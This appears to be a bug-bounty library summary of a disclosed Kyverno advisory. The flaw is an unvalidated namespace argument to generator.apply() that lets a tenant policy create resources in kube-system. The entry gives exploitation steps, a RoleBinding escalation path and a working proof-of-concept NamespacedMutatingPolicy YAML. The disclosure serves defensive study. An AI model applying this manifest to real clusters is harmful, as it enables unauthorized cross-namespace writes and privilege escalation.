# Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system

Kyverno's CEL generator.apply() namespace argument is unvalidated, letting a tenant-scoped NamespacedMutatingPolicy create resources in kube-system via the admission controller's cluster-wide RBAC.

- Payout: Research
- Severity: critical
- Program: Kyverno
- Found by: 0xVijay
- Disclosed: 2026-08-26
- CVE: CVE-2026-54523
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-79gf-7frw-68m9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-79gf-7frw-68m9
- Tags: area:cloud domain:cloud domain:infra impact:integrity impact:privesc kind:research platform:ghsa sev:critical tech:go tech:kubernetes technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Kubernetes admission controller CEL generator library (NamespacedMutatingPolicy matchConditions)
**Root cause:** GenerateResources(namespace, dataList) in pkg/cel/libs/context.go takes the namespace argument straight from the CEL expression with no scope check; the NamespacedMutatingPolicy validator only checks compilation, unlike the guarded ConfigMap loader and apicall namespace matching.
**Steps:**
1. Attacker has create on namespacedmutatingpolicies.policies.kyverno.io in tenant-ns.
2. Apply a NamespacedMutatingPolicy whose matchConditions expression calls `generator.apply("kube-system", [...])` with a ConfigMap payload.
3. Create any ConfigMap in tenant-ns to trigger the admission webhook.
4. Admission controller executes the CEL side effect with its cluster-wide RBAC and creates configmap/kube-system-config in kube-system.
**How found:** Reporter compared GenerateResources against correctly-guarded equivalents (configmap.go cross-namespace rejection, apicall.go namespace segment matching) and noticed the missing guard; then found the nmpol CEL compiler unintentionally exposes the generator library to matchConditions, giving a reachable side-effect path.
**Exploitation:** A namespace-scoped user abuses the admission controller's cluster-wide privileges: the CEL matchCondition side effect runs at admission time and creates arbitrary resources (ConfigMaps, Secrets, NetworkPolicies, RoleBindings) in any namespace, enabling config injection, network disruption, and privilege escalation via RoleBinding creation.
**Escalation:** Create RoleBindings in other namespaces binding roles the admission controller holds (or lesser-privileged roles) to escalate privileges beyond the tenant namespace.
**Insight:** When a policy engine exposes side-effecting CEL libraries, check whether the library is reachable from match/condition expressions (not just mutation bodies) and whether namespace arguments are validated against the policy's own namespace like sibling loaders do.

## Proof of concept (copied exactly from the original report)

**NamespacedMutatingPolicy YAML calling generator.apply on kube-system**

```
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedMutatingPolicy
metadata:
  name: cross-ns-escalate
  namespace: tenant-ns
spec:
  matchConstraints:
    resourceRules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["configmaps"]
      operations: ["CREATE"]
  mutations:
  - patchType: applyConfiguration
    applyConfiguration:
      expression: object
  matchConditions:
  - name: trigger-escalation
    expression: |
      generator.apply("kube-system", [
        {
          "apiVersion": dyn("v1"),
          "kind": dyn("ConfigMap"),
          "metadata": dyn({
            "name": "kube-system-config",
            "namespace": "kube-system"
          }),
          "data": dyn({
            "injected-by": "tenant-policy",
            "impact": "unauthorized access to kube-system namespace"
          })
        }
      ])
```

